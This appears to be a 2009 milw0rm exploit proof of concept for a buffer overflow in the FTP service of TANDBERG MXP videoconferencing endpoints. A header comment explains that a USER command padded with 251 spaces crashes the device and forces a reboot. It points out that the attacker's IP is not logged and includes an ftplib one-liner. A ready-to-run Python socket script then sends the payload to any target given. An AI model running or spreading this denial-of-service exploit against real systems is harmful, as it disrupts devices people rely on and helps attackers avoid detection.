#########################################################################################
# #
# TANDBERG BoF v0.1 - Tandberg MXP F7.0< #
# Buffer Overflow Vulnerability PoC #
# By otokoyama #
# #
# [+] We crash the process FtpCt00 by sending a 251 char string of /x20 commonly #
# known as a blank space.(very simple) #
# [+] The BOF happens due to the system passing all usernames:passwords to a log file. #
# #
# [+] Vendor has fixed THIS in the later releases of its firmware so it is now public. #
# #
# #
# This is a good vuln due to the system not logging the IP address of the attacker. #
# To be able to tell who was causing this you would need to grab a log from the FW #
# and as TANDBERG does not provide timestamps on their endpoints pre f8.0 #
# you would need to have recieved a SNMP notification to TMS that the system rebooted #
# and cross reference that with the IP's connecting through the firewall. #
# This is particularily annoying due to the fact that systems reboot all the time #
# As endusers are constantly turning them on\off #
# At this point the sysadmin goes "TANDBERG Can we buy an Expressway?" #
# #
# As far as it goes, creating a connectback shell would be difficult #
# this is mainly due to the process on the Endpoint that detects a memory mismatch #
# and subsequently reboots the system(security measure). #
# #
# To create a successfull exploit outside of the DoS #
# you would need to locate the memory address of the process that reboots the system #
# (there might even be a fallback on that) This is generally too cumbersome as #
# this embeded system doesn't do anything fun anyway (why would you want access) #
# #
# In saying that, #
# it would be fairly trivial to use the BoF to write something to the memory. #
# you will notice buffer below only generates the exception 0x0200 aka Machine Check. #
# Increasing the char sent to the unit will change that error to exception 0x1100 #
# meaning we are sending the MINIMUM required length to overflow the buffer. #
# I have done the hardwork for you! Please email me if you get some encodes. #
# BTW, This could be done like this: #
# from ftplib import FTP #
# ftp = FTP('ip.addr') #
# ftp.login(' '*251) #
# ftp.quit()....but its dirty. #
# #
# shoutouts:mabus,gso #
#########################################################################################
import socket
import struct
import time
import sys
buff='USER '+' '*251+'\r\n'
if len(sys.argv)!=3:
print "\n[+] Usage: %s <ip> <port>"%sys.argv[0]
print "[-] Example: python poc.py 192.168.1.23 23\n"
sys.exit(0)
try:
print "[+] Connecting... %s" %sys.argv[1]
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((sys.argv[1],int(sys.argv[2])))
print "[+] Sending data..."
time.sleep(1.2)
s.send(buff)
print "[+] Deed Done"
s.recv(1024)
except:
print "[#] Unable to connect"
# milw0rm.com [2009-07-13]
